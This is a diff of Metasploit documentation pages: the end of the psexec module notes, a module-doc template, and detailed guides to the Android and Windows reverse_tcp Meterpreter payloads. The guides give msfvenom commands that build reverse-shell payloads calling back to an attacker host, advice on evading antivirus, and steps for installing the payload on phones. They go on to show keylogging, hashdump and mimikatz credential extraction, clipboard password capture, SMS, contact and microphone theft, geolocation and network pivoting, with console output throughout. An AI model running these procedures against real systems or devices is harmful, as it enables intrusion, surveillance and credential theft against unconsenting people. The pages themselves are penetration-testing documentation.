[*] 192.168.1.80:445 - Created \QpxKDHyG.exe...
[+] 192.168.1.80:445 - Service started successfully...
[*] 192.168.1.80:445 - Deleting \QpxKDHyG.exe...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1043) at 2016-03-01 17:02:46 -0600
meterpreter >
```
**Automatic Target**
There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below.
**Powershell Target**
The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default.
Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won't do that.
**Native Upload Target**
The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the
SHARE datastore option), and then execute it with psexec.
This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option.
**MOF Upload Target**
The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload (exe) in SYSTEM32 and a managed object
format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get a session.
Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to disk, there is also a high chance of getting
caught by antivirus on the target.
The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template datastore options or you can supply your own custom EXE by setting the EXE::Custom option.

View File

@ -0,0 +1,41 @@
The following is the recommended format for module documentation.
But feel free to add more content/sections to this.
## Vulnerable Application
Instructions to get the vulnerable application.
## Verification Steps
Example steps in this format:
1. Install the application
2. Start msfconsole
3. Do: ```use [module path]```
4. Do: ```run```
5. You should get a shell.
## Options
**Option name**
Talk about what it does, and how to use it appropriately.
## Scenarios
Specific demo of using the module that might be useful in a real world scenario.
```
code or console output
```
For example:
To do this specific thing, here's how you do it:
```
msf > use module_name
msf auxiliary(module_name) > set POWERLEVEL >9000
msf auxiliary(module_name) > exploit
```

View File

@ -0,0 +1,457 @@
The android/meterpreter/reverse_tcp payload is a Java-based Meterpreter that can be used on an
Android device. It is still at an early stage of development, but there are so many things you can
do with it already.
The Android Meterpreter allows you to do things like take remote control the file system, listen to phone calls, retrieve or send SMS messages, geo-locate the user, run post-exploitation modules, etc.
## Vulnerable Application
You can test android/meterpreter/reverse_tcp on these devices:
**Android Emulator**
An emulator is the most convenient way to test Android Meterpreter. You can try:
* [Android SDK](http://developer.android.com/sdk/index.html#Other) - Creates and manages your emulators from a command prompt or terminal.
* [Android Studio](http://developer.android.com/sdk/installing/index.html?pkg=studio) - Allows you to manage emulators more easily than the SDK.
* [GenyMotion](https://www.genymotion.com/download/) - Requires an account.
* [AndroidAVDRepo](https://github.com/dral3x/AndroidAVDRepo) - Contains a collection of pre-configured emulators.
**A real Android device**
Having a real Android device allows you to test features or vulnerabilities you don't necessarily
have from an emulator, which might be specific to a manufacturer, carrier, or hardware. You also
get to test it over a real network.
## Verification Steps
Currently, the most common way to use Android Meterpreter is to create it as an APK, and then
execute it.
To create the APK with msfconsole:
```
msf > use payload/android/meterpreter/reverse_tcp
msf payload(reverse_tcp) > set LHOST 192.168.1.199
LHOST => 192.168.1.199
msf payload(reverse_tcp) > generate -t raw -f /tmp/android.apk
[*] Writing 8992 bytes to /tmp/android.apk...
msf payload(reverse_tcp) >
```
To create the APK with msfvenom:
```
./msfvenom -p android/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o /tmp/android.apk
```
Next, start an Android device. Upload the APK, and execute it. There are different ways to do this,
so please refer to the Scenarios section for more information.
## Important Basic Commands
**pwd**
The ```pwd``` command allows you to see the current directory you're in.
```
meterpreter > pwd
/data/data/com.metasploit.stage
```
**cd**
The ```cd``` command allows you to change directory. For example:
```
meterpreter > cd cache
meterpreter > ls
```
**cat**
The ```cat``` command allows you to see the contents of a file.
**ls**
The ```ls``` command displays items in a directory. For example:
```
meterpreter > ls
Listing: /data/data/com.metasploit.stage/files
==============================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100444/r--r--r-- 0 fil 2016-03-08 14:56:08 -0600 rList-com.metasploit.stage.MainActivity
```
**upload**
The ```upload``` command allows you to upload a file to the remote target. The ```-r``` option
allows you to do so recursively.
**download**
The ```download``` command allows you to download a file from the remote target. The ```-r```
option allows you to do so recursively.
**search**
The ```search``` command allows you to find files on the remote target. For example:
```
meterpreter > search -d . -f *.txt
```
**ifconfig**
The ```ifconfig``` command displays the network interfaces on the remote machine.
```
meterpreter > ifconfig
...
Interface 10
============
Name : wlan0 - wlan0
Hardware MAC : 60:f1:89:07:c2:7e
IPv4 Address : 192.168.1.207
IPv4 Netmask : 255.255.255.0
IPv6 Address : 2602:30a:2c51:e660:62f1:89ff:fe07:c27e
IPv6 Netmask : ::
IPv6 Address : fe80::62f1:89ff:fe07:c27e
IPv6 Netmask : ::
IPv6 Address : 2602:30a:2c51:e660:81ae:6bbd:e0e1:5954
IPv6 Netmask : ::
...
```
**getuid**
The ```getuid``` command shows the current user that the payload is running as:
```
meterpreter > getuid
Server username: u0_a231
```
**ps**
The ```ps``` command shows a list of processes the Android device is running. For example:
```
meterpreter > ps
Process List
============
PID Name Arch User
--- ---- ---- ----
1 /init root
2 kthreadd root
3 ksoftirqd/0 root
7 migration/0 root
8 rcu_preempt root
9 rcu_bh root
10 rcu_sched root
11 watchdog/0 root
12 watchdog/1 root
13 migration/1 root
14 ksoftirqd/1 root
17 watchdog/2 root
18 migration/2 root
19 ksoftirqd/2 root
22 watchdog/3 root
23 migration/3 root
...
```
**shell**
The ```shell``` command allows you to interact with a shell:
```
meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=10231(u0_a231) gid=10231(u0_a231) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),9997(everybody),50231(all_a231) context=u:r:untrusted_app:s0
```
To get back to the Meterpreter prompt, you can do: [CTRL]+[Z]
**sysinfo**
The ```sysinfo``` command shows you basic information about the Android device.
```
meterpreter > sysinfo
Computer : localhost
OS : Android 5.1.1 - Linux 3.10.61-6309174 (aarch64)
Meterpreter : java/android
```
**webcam_list**
The ```webcam_list``` command shows a list of webcams you could use for the ```webcam_snap```
command. Example:
```
meterpreter > webcam_list
1: Back Camera
2: Front Camera
```
**webcam_snap**
The ```webcam_snap``` command takes a picture from the device. You will have to use the
```webcam_list``` command to figure out which camera to use. Example:
```
meterpreter > webcam_snap -i 2
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /Users/user/rapid7/msf/uFWJXeQt.jpeg
```
**record_mic**
The ```record_mic``` command records audio. Good for listening to a phone conversation, as well as
other uses. Example:
```
meterpreter > record_mic -d 20
[*] Starting...
[*] Stopped
Audio saved to: /Users/user/rapid7/msf/YAUtubCR.wav
```
**activity_start**
The ```activity_start``` command is an execute command by starting an Android activity from a URI
string.
**check_root**
The ```check_root``` command detects whether your payload is running as root or not. Example:
```
meterpreter > check_root
[*] Device is not rooted
```
**dump_calllog**
The ```dump_calllog``` command retrieves the call log from the Android device.
**dump_contacts**
```
meterpreter > dump_contacts
[*] Fetching 5 contacts into list
[*] Contacts list saved to: contacts_dump_20160308155744.txt
```
**geolocate**
The ```geolocate``` commands allows you to locate the phone by retrieving the current lat-long
using geolocation.
**wlan_geolocate**
The ```wlan_geolocation``` command allows you to locate the phone by retrieving the current
lat-long using WLAN information. Example:
```
meterpreter > wlan_geolocate
[*] Google indicates the device is within 150 meters of 30.*******,-97.*******.
[*] Google Maps URL: https://maps.google.com/?q=30.*******,-97.*******
```
**send_sms**
The ```send_sms``` command allows you to send an SMS message. Keep in mind the phone will keep a
copy of it, too.
```
meterpreter > send_sms -d "2674554859" -t "hello"
[+] SMS sent - Transmission successful
```
**sms_dump**
The ```sms_dump``` command allows you to retrieve SMS messages. And save them as a text file.
For example:
```
meterpreter > dump_sms
[*] Fetching 4 sms messages
[*] SMS messages saved to: sms_dump_20160308163212.txt
...
$ cat sms_dump_20160308163212.txt
=====================
[+] SMS messages dump
=====================
Date: 2016-03-08 15:30:12 -0600
OS: Android 5.1.1 - Linux 3.10.61-6309174 (aarch64)
Remote IP: 192.168.1.207
Remote Port: 59130
#1
Type : Incoming
Date : 2016-03-08 15:29:32
Address : **********
Status : NOT_RECEIVED
Message : Hello world
...
```
**run**
The ```run``` command allows you to run a post module against the remote machine at the Meterpreter
prompt. For example:
```
meterpreter > run post/android/capture/screen
```
## Scenarios
**Uploading APK to an Emulator using install_msf_apk.sh**
The Metasploit Framework comes with a script that allows you to automatically upload your APK to
an active emulator and execute it. It requires the [Android SDK platform-tools](http://developer.android.com/sdk/installing/index.html) to run, as well as [Java](https://java.com/en/download/).
To use this, follow these steps:
1. Start the Android Emulator
2. Generate the Android payload as an APK.
3. In msfconsole, start a handler for android/meterpreter/reverse_tcp
4. Run the installer script like this from a terminal:
```
$ tools/exploit/install_msf_apk.sh /tmp/android.apk
```
The the script will do something like this:
```
$ tools/exploit/install_msf_apk.sh /tmp/android.apk
adding: META-INF/ANDROIDD.SF
adding: META-INF/ANDROIDD.RSA
signing: classes.dex
signing: AndroidManifest.xml
signing: resources.arsc
Failure
1562 KB/s (10715 bytes in 0.006s)
pkg: /data/local/tmp/android.apk
Success
rm failed for -f, Read-only file system
Starting: Intent { act=android.intent.action.MAIN cmp=com.metasploit.stage/.MainActivity }
```
Back in msfconsole, you should receive a session:
```
[*] Started reverse TCP handler on 192.168.1.199:4444
[*] Starting the payload handler...
[*] Sending stage (62432 bytes) to 192.168.1.199
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.199:49178) at 2016-03-08 13:00:10 -0600
meterpreter >
```
**Uploading APK to a real Android device using install_msf_apk.sh**
On the Android device, make sure to enable Developer Options. To do this:
1. Go to Settings -> About -> Software Information
2. Tap on the Build Number section a couple of times. It should unlock Developer Options.
3. Go back to the Settings page, you should see Developer Options.
Under Developer Options, make sure to:
* Enable USB debugging
* Disable Verify apps via USB
* Open a terminal, and type: ```adb devices```. On your Android device, you should see a prompt
asking you to allow the computer for debugging, click OK on that.
* Do: ```adb devices``` again, adb should now have access.
Run the installer script like this from a terminal:
```
$ tools/exploit/install_msf_apk.sh /tmp/android.apk
```
And you should get a session.
**Uploading APK from a Web Server**
One way to upload an APK to Android without adb is by hosting it from a web server. To do this,
you must make sure to allow to trust "Unknown sources". The way to do this varies, but normally
it's something like this: Settings -> Security -> Check "Unknown Sources"
Once you have that changed, you'll need to:
1. Generate the APK payload.
2. Start a web server from the directory where the payload is: ```ruby -run -e httpd . -p 8181```
3. On your Android device, open a browser, and download the APK.
4. You should be able to find the APK from the Downloads folder, install it.
5. After installation, you will have to manually execute it.
**Reconnect Android Meterpreter from the Browser Remotely**
When you have the APK payload installed on your Android device, another trick to reconnect it is to
launch an intent from a browser. An intent is simply a term in Android development that means "an operation to be performed."
Here's how you do this:
1. In msfconsole, start a multi/handler for android/meterpreter/reverse_tcp as a background job.
2. Do: ```auxiliary/server/android_browsable_msf_launch```.
3. Set the URIPATh if needed.
4. Do: ```run```. At this point, the web server should be up.
5. On your Android device, open the native web browser, and go the URL generated by the auxiliary
module.
6. The Android handler should get a session like the following demo:
```
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp
PAYLOAD => android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.199
LHOST => 192.168.1.199
msf exploit(handler) > set EXITONSESSION false
EXITONSESSION => false
msf exploit(handler) > run -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.199:4444
msf exploit(handler) > [*] Starting the payload handler...
msf exploit(handler) > use auxiliary/server/android_browsable_msf_launch
msf auxiliary(android_browsable_msf_launch) > set URIPATH /test
URIPATH => /test
msf auxiliary(android_browsable_msf_launch) > run
[*] Using URL: http://0.0.0.0:8080/test
[*] Local IP: http://192.168.1.199:8080/test
[*] Server started.
[*] Sending HTML...
[*] Sending stage (62432 bytes) to 192.168.1.207
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.207:47523) at 2016-03-08 15:09:25 -0600
```

View File

@ -0,0 +1,714 @@
windows/meterpreter/reverse_tcp is one of the most powerful features the Metasploit Framework has
to offer, and there are so many things you can do with it.
It allows you to remotely control the file system, sniff, keylog, hashdump, perform network pivoting,
control the webcam and microphone, etc. It has the best support for post modules, and you can
load extensions, such as mimikatz and python interpreter, etc.
windows/meterpreter/reverse_tcp is also the default payload for all Windows exploit targets.
## Vulnerable Application
This Meterpreter payload is suitable for the following environments:
* Windows x64
* Windows x86
## Verification Steps
windows/meterpreter/reverse_tcp is typically used in two different ways.
First, it is typically used as a payload for an exploit. Here's how to do that:
1. In msfconsole, select an exploit module
2. Configure the options for that exploit.
3. Do: ```set payload windows/meterpreter/reverse_tcp```
4. Set the ```LHOST``` option, which is the IP that the payload should connect to.
5. Do: ```exploit```. If the exploit is successful, it should execute that payload.
Another way to use windows/meterpreter/reverse_tcp is to generate it as an executable. Normally,
you would want to do it with msfvenom. If you are old school, you have probably also heard of
msfpayload and msfencode. msfvenom is a replacement of those.
The following is a basic example of using msfvenom to to generate windows/meterpreter/reverse_tcp
as an executable:
```
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f exe -o /tmp/payload.exe
```
## Important Basic Commands
**pwd command**
The ```pwd``` command allows you to see the current directory you're in on the remote target.
Example:
```
meterpreter > pwd
C:\Users\user\Desktop
```
**cd command**
The ```cd``` command allows you to change directories. Example:
```
meterpreter > cd C:\\
meterpreter > pwd
C:\
```
**cat command**
The ```cat``` command allows you to see the content of a file:
```
meterpreter > cat C:\\file.txt
Hello world!
```
**upload command**
The ```upload``` command allows you to upload a file to the remote target. For example:
```
meterpreter > upload /tmp/something.txt C:\\Users\\user\\Desktop\\something.txt
[*] uploading : /tmp/something.txt -> C:\Users\user\Desktop\something.txt
[*] uploaded : /tmp/something.txt -> C:\Users\user\Desktop\something.txt
meterpreter >
```
The ```-r``` option for the command also allows you to upload recursively.
**download command**
The ```download``` command allows you download a file from the remote target to your machine.
For example:
```
meterpreter > download C:\\Users\\user\\Desktop\\something.txt /tmp/
[*] downloading: C:\Users\user\Desktop\something.txt -> /tmp//something.txt
[*] download : C:\Users\user\Desktop\something.txt -> /tmp//something.txt
meterpreter >
```
The ```-r``` option for the command also allows you to download recursively.
**search command**
The ```search``` command allows you to find files on the remote file system. For example, this
demonstrates how to find all text files in the current directory:
```
meterpreter > search -d . -f *.txt
Found 1 result...
.\something.txt (5 bytes)
```
Note that without the ```-d``` option, the command will attempt to search in all drives.
The ```-r``` option for the commands allows you to search recursively.
**ifconfig command**
The ```ifconfig``` command displays the network interfaces on the remote machine:
```
meterpreter > ifconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
...
```
The command ```ipconfig``` is an alias for ```ifconfig```.
**getuid command**
The ```getuid``` command shows you the current user that the payload is running as:
```
meterpreter > getuid
Server username: WIN-6NH0Q8CJQVM\user
```
**execute command**
The ```execute``` command allows you to execute a command or file on the remote machine.
The following example will spawn a calculator:
```
meterpreter > execute -f calc.exe
Process 2076 created.
```
To pass an argument, use the ```-a``` flag:
```
meterpreter > execute -f iexplore.exe -a http://metasploit.com
Process 2016 created.
```
There are some options you can see to add more stealth. For example, you can use the ```-H``` flag
to create the process hidden from view. You can also use the ```-m``` flag to execute from memory.
**ps command**
The ```ps``` command lists the running processes on the remote machine.
**shell command**
The ```shell``` command allows you to interact with the remote machine's command prompt. Example:
```
meterpreter > shell
Process 3576 created.
Channel 6 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\user\Desktop>
```
To switch back to Meterpreter, do [CTRL]+[Z] to background the channel.
**sysinfo command**
The ```sysinfo``` command shows you basic information about the remote machine. Example:
```
meterpreter > sysinfo
Computer : WIN-6NH0Q8CJQVM
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
meterpreter >
```
**keyscan_start**
The ```keyscan_start``` command starts the keylogging feature on the remote machine.
**keyscan_dump**
The ```keyscan_dump``` command is a keylogger feature. You must use the ```keyscan_start``` command
before using this. Example:
```
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
Hello World!!
```
If you wish to stop sniffing, use the ```keyscan_stop``` command.
**keyscan_stop**
The ```keyscan_stop``` command stops the keylogger.
**screenshot**
The ```screenshot``` command takes a screenshot of the target machine.
**webcam_list**
The ```webcam_list``` commands shows you a list of webcams that you can control. You'll
probably want to use this first before using any other webcam commands.
**webcam_snap**
The ```webcam_snap``` commands uses the selected webcam to take a picture.
**webcam_stream**
The ```webcam_stream``` command basically uses the ```webcam_snap``` command repeatedly to create
the streaming effect. There is no sound.
**record_mic**
The ```record_mic``` command captures audio on the remote machine.
**getsystem**
The ```getsystem``` command attempts to elevate your privilege on the remote machine with one of
these techniques:
* Named pipe impersonation (in memory)
* Named pipe impersonation (dropper)
* Token duplication (in memory)
Example:
```
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
```
**hashdump**
The ```hashdump``` commands allows you to dump the Windows hashes if there are the right privileges.
For sxample:
```
meterpreter > hashdump
Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:92a84e332fa4b09e9850257ad6826566:8fb9a6e155fd6e14a16c37427b68bbb4:::
root:1003:633c097a37b26c0caad3b435b51404ee:f2477a144dff4f216ab81f2ac3e3207d:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:e09fcdea29d93203c925b205640421f2:::
```
## Scenarios
**Setting up for Testing**
For testing purposes, if you don't want to manually generate a payload and start a multi handler
repeatedly, you can use the auto_win32_multihandler.rc resource script in Metasploit to automate that process. Here's how you would use it:
First, run the resource script:
```
$ ./msfconsole -q -r scripts/resource/auto_win32_multihandler.rc
[*] Processing scripts/resource/auto_win32_multihandler.rc for ERB directives.
[*] resource (scripts/resource/auto_win32_multihandler.rc)> Ruby Code (776 bytes)
lhost => 192.168.1.199
lport => 4444
[*] Writing 73802 bytes to /Users/metasploit/.msf4/local/meterpreter_reverse_tcp.exe...
[*] windows/meterpreter/reverse_tcp's LHOST=192.168.1.199, LPORT=4444
[*] windows/meterpreter/reverse_tcp is at /Users/metasploit/.msf4/local/meterpreter_reverse_tcp.exe
payload => windows/meterpreter/reverse_tcp
lhost => 192.168.1.199
lport => 4444
exitonsession => false
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.199:4444
[*] Starting the payload handler...
msf exploit(handler) >
```
Next, go to your ~/.msf4/local directory, you should see meterpreter_reverse_tcp.exe in there.
Upload that payload to your test box and execute it. You should receive a connection.
**Using a Post Module**
One of the best things about Meterpreter is you have access to a variety of post exploitation
modules, specifically for the multi and Windows categories. Post modules provide you with more capabilities to
collect data from the remote machine automatically. For example, you can steal passwords
from popular applications and enumerate or modify system settings.
To use a post module from the Meterpreter prompt, simply use the ```run``` command:
```
meterpreter > run post/windows/gather/checkvm
[*] Checking if WIN-6NH0Q8CJQVM is a Virtual Machine .....
[*] This is a VMware Virtual Machine
meterpreter >
```
It is also possible to run a post module via multiple Meterpreter sessions. To learn how, load
the specific post module you wish to run, and enter ```info -d``` to see the basic usage in the
documentation.
**Using the Mimikatz Extension**
[Mimikatz](https://github.com/gentilkiwi/mimikatz) is a well known tool to extract passwords, hashes, PIN code, and kerberos tickets from memory on Windows. This might actually be the first thing you want to use as soon as you get a high-privileged session, such as SYSTEM.
To begin, load the extension:
```
meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter >
```
This will create more commands for the Meterpreter prompt. Most of them are meant to be used to
retrieve user names, hashes, passwords and other information:
```
Mimikatz Commands
=================
Command Description
------- -----------
kerberos Attempt to retrieve kerberos creds
livessp Attempt to retrieve livessp creds
mimikatz_command Run a custom command
msv Attempt to retrieve msv creds (hashes)
ssp Attempt to retrieve ssp creds
tspkg Attempt to retrieve tspkg creds
wdigest Attempt to retrieve wdigest creds
```
An example of using the ```msv``` command:
```
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;313876 NTLM WIN-6NH0Q8CJQVM user10 lm{ 0363cb92c563245c447eaf70cfac29c1 }, ntlm{ 16597a07ce66307b3e1a5bd1b7abe123 }
0;313828 NTLM WIN-6NH0Q8CJQVM user10 lm{ 0363cb92c563245c447eaf70cfac29c1 }, ntlm{ 16597a07ce66307b3e1a5bd1b7abe123 }
0;996 Negotiate WORKGROUP WIN-6NH0Q8CJQVM$ n.s. (Credentials KO)
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;45518 NTLM n.s. (Credentials KO)
0;999 NTLM WORKGROUP WIN-6NH0Q8CJQVM$ n.s. (Credentials KO)
```
**Using the extapi Extension**
The main purpose of the extapi extension is to perform advanced enumeration of the target machine. For
example, you can enumerate things like registered services, open windows, clipboard, ADSI, WMI queries, etc.
To begin, at the Meterpreter prompt, do:
```
meterpreter > load extapi
Loading extension extapi...success.
meterpreter >
```
One great feature of the extension is clipboard management. The Windows clipboard is interesting
because it can store anything that is sensitive, such as files, user names, and passwords, but it is not well protected.
For example, a password manager is a popular tool to store encryped passwords. It allows the user
to create complex passwords without the need to memorize any of them. All the user needs to do is
open the password manager, retrieve the password for a particular account by copying it, and then
paste it on a login page.
There is a security problem to the above process. When the user copies the password, it is stored
in the operating system's clipboard. As an attacker, you can take advantage of this by starting the
clipboard monitor from Meterpreter/extapi, and then collect whatever the user copies.
To read whatever is currently stored in the target's clipboard, you can use the clipboard_get_data
commnad:
```
meterpreter > clipboard_get_data
Text captured at 2016-03-05 19:13:39.0170
=========================================
hello, world!!
=========================================
meterpreter >
```
The limitation of this command is that since you're only grabbing whatever is in the clipboard at
the time, there is only one item to collect. However, when you start a monitor, you can collect
whatever goes in there. To start, issue the following command:
```
meterpreter > clipboard_monitor_start
[+] Clipboard monitor started
meterpreter >
```
While it is monitoring, you can ask Meterpreter to dump whatever's been captured.
```
meterpreter > clipboard_monitor_dump
Text captured at 2016-03-05 19:18:18.0466
=========================================
this is fun.
=========================================
Files captured at 2016-03-05 19:20:07.0525
==========================================
Remote Path : C:\Users\user\Desktop\cat_pic.png
File size : 37627 bytes
downloading : C:\Users\user\Desktop\cat_pic.png -> ./cat_pic.png
download : C:\Users\user\Desktop\cat_pic.png -> ./cat_pic.png
==========================================
[+] Clipboard monitor dumped
meterpreter >
```
The ```clipboard_monitor_stop``` command will also dump the captured data, and then exit.
Combined with Meterpreter's keylogger, you have a very effective setup to capture the user's
inputs.
**Using the Python Extension**
The Python extension allows you to use the remote machine's Python interpreter.
To load the extension, at the Meterpreter prompt, do:
```
meterpreter > use python
Loading extension python...success.
```
The most basic example of using the interpreter is the ```python_execute``` command:
```
meterpreter > python_execute "x = 'hello world'; print x"
[+] Content written to stdout:
hello world
meterpreter >
```
Another way to execute Python code is from a local file by using the ```python_import``` command.
To do this, first prepare for a Python script. This example should create a message.txt on the
remote machine's desktop:
```python
import os
user_profile = os.environ['USERPROFILE']
f = open(user_profile + '\\Desktop\\message.txt', 'w+')
f.write('hello world!')
f.close()
```
And to run that with the command:
```
meterpreter > python_import -f /tmp/test.py
[*] Importing /tmp/test.py ...
[+] Command executed without returning a result
meterpreter >
```
To learn more about the Python extension, please read this [wiki](https://github.com/rapid7/metasploit-framework/wiki/Python-Extension).
**Network Pivoting**
There are three mains ways that you can use for moving around inside a network:
- The route command in the msf prompt
- The route command in the the Meterpreter prompt
- The portfwd command
***Routing through msfconsole***
The route command from the msf prompt allows you connect to hosts on a different network through the compromised machine. You should be able to determine that by looking at the compromised machine's ipconfig:
```
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.201:49182) at 2016-03-04 20:35:31 -0600
meterpreter > ipconfig
...
Interface 10
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:86:4b:0d
MTU : 1472
IPv4 Address : 192.168.1.201
IPv4 Netmask : 255.255.255.0
IPv6 Address : 2602:30a:2c51:e660::20
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address : 2602:30a:2c51:e660:44a:576e:3d2c:d765
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : 2602:30a:2c51:e660:94be:567f:4fe7:5da7
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address : fe80::44a:576e:3d2c:d765
IPv6 Netmask : ffff:ffff:ffff:ffff::
...
Interface 26
============
Name : VPN
Hardware MAC : 00:00:00:00:00:00
MTU : 1400
IPv4 Address : 192.100.0.100
IPv4 Netmask : 255.255.255.255
...
```
The example above shows that we have a Meterpreter connection to 192.168.1.201. Let's call this box A, and it is connected to the 192.100.0.0/24 VPN network. As an attacker, we aren't connected to this network directly, but we can explore that network through box A.
At the msf prompt, do:
```
msf exploit(handler) > route add 192.100.0.0 255.255.255.0 1
[*] Route added
```
The ```1``` at the end of the route indicates the session ID, the payload that is used as a gateway to talk to other machines.
So right now, we have a connection established to the VPN, and we should be able to connect to another machine from that network:
```
msf auxiliary(smb_version) > run
[*] 192.100.0.101:445 - 192.100.0.101:445 is running Windows 2003 SP2 (build:3790) (name:SINN3R-QIXN9TA2) (domain:WORKGROUP)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_version) >
```
Another neat trick using route is that you can also bypass the compromised host's firewall this way. For example, if the host has HTTP open, but SMB is blocked by the firewall, you can try to compromise it via HTTP first. You'll need to use the route command to talk to SMB and then try to exploit SMB.
***Routing through Meterpreter***
The route command in Meterpreter allows you change the routing table that is on the target machine. The way it needs to be configured is similar to the route command in msfconsole.
***Routing through the portfwd command***
The portfwd command allows you to talk to a remote service like it's local. For example, if you are able to compromise a host via SMB, but are not able to connect to the remote desktop service, then you can do:
```
meterpreter > portfwd add l 3389 p 3389 r > target host >
```
And that should allow you to connect to remote desktop this way on the attacker's box:
```
rdesktop 127.0.0.1
```
**Meterpreter Paranoid Mode**
The paranoid mode forces the handler to be strict about which Meterpreter should be connecting to it, hence the name "paranoid mode".
To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode).
**Meterpreter Reliable Network Communication**
Exiting Metasploit using ```exit -y``` no longer terminates the payload session like it used to. Instead, it will continue to run behind the scenes, attempting to connect back to Metasploit when an appropriate handler is available. If you wish to exit the session, make sure to ```sessions -K``` first.
To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Reliable-Network-Communication).
**Meterpreter Sleep Control**
The sleep mode allows the payload on the target machine to be quiet for awhile, mainly in order to avoid suspicious active communication. It also provides better efficiency.
It is very simple to use. At the Meterpreter prompt, simply do:
```
meterpreter > sleep 20
```
And that will allow Meterpreter to sleep 20 seconds, and will reconnect.
To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Sleep-Control).
**Meterpreter Stageless Mode**
A stageless Meterpreter allows a more economical way to deliver the payload, for cases where a normal one would actually cost too much time and bandwidth in a penetration test. To learn more about this, [click on this](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode) to read more.
To use the stageless payload, use ```windows/meterpreter_reverse_tcp``` instead.
**Meterpreter Timeout Control**
The timeout control basically defines the life span of Meterpreter. To configure it, use the
```set_timeouts``` command:
```
meterpreter > set_timeouts
Usage: set_timeouts [options]
Set the current timeout options.
Any or all of these can be set at once.
OPTIONS:
-c <opt> Comms timeout (seconds)
-h Help menu
-t <opt> Retry total time (seconds)
-w <opt> Retry wait time (seconds)
-x <opt> Expiration timout (seconds)
```
To see the current timeout configuration, you can use the ```get_timeouts``` command:
```
meterpreter > get_timeouts
Session Expiry : @ 2016-03-11 21:15:58
Comm Timeout : 300 seconds
Retry Total Time: 3600 seconds
Retry Wait Time : 10 seconds
```
To learn more about timeout control, please [go here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Timeout-Control).
**Meterpreter Transport Control**
Transport Control allows you manage transports on the fly while the payload session is still running. Meterpreter can automatically cycle through the transports when communication fails, or you can do it manually.
To learn more about this, please read this [documentation](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control).
## Using the Post Exploitation API in IRB
To enter IRB, do the following at the Meterpreter prompt:
```
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>>
```
**The client object**
The client object in Meterpreter's IRB allows you control or retrieve information about the host. For example, this demonstrates how to obtain the current privilege we're running the payload as:
```ruby
>> client.sys.config.getuid
```
To explore the client object, there are a few tricks. For example, you can use the #inspect method to inspect it:
```
>> client.inspect
```
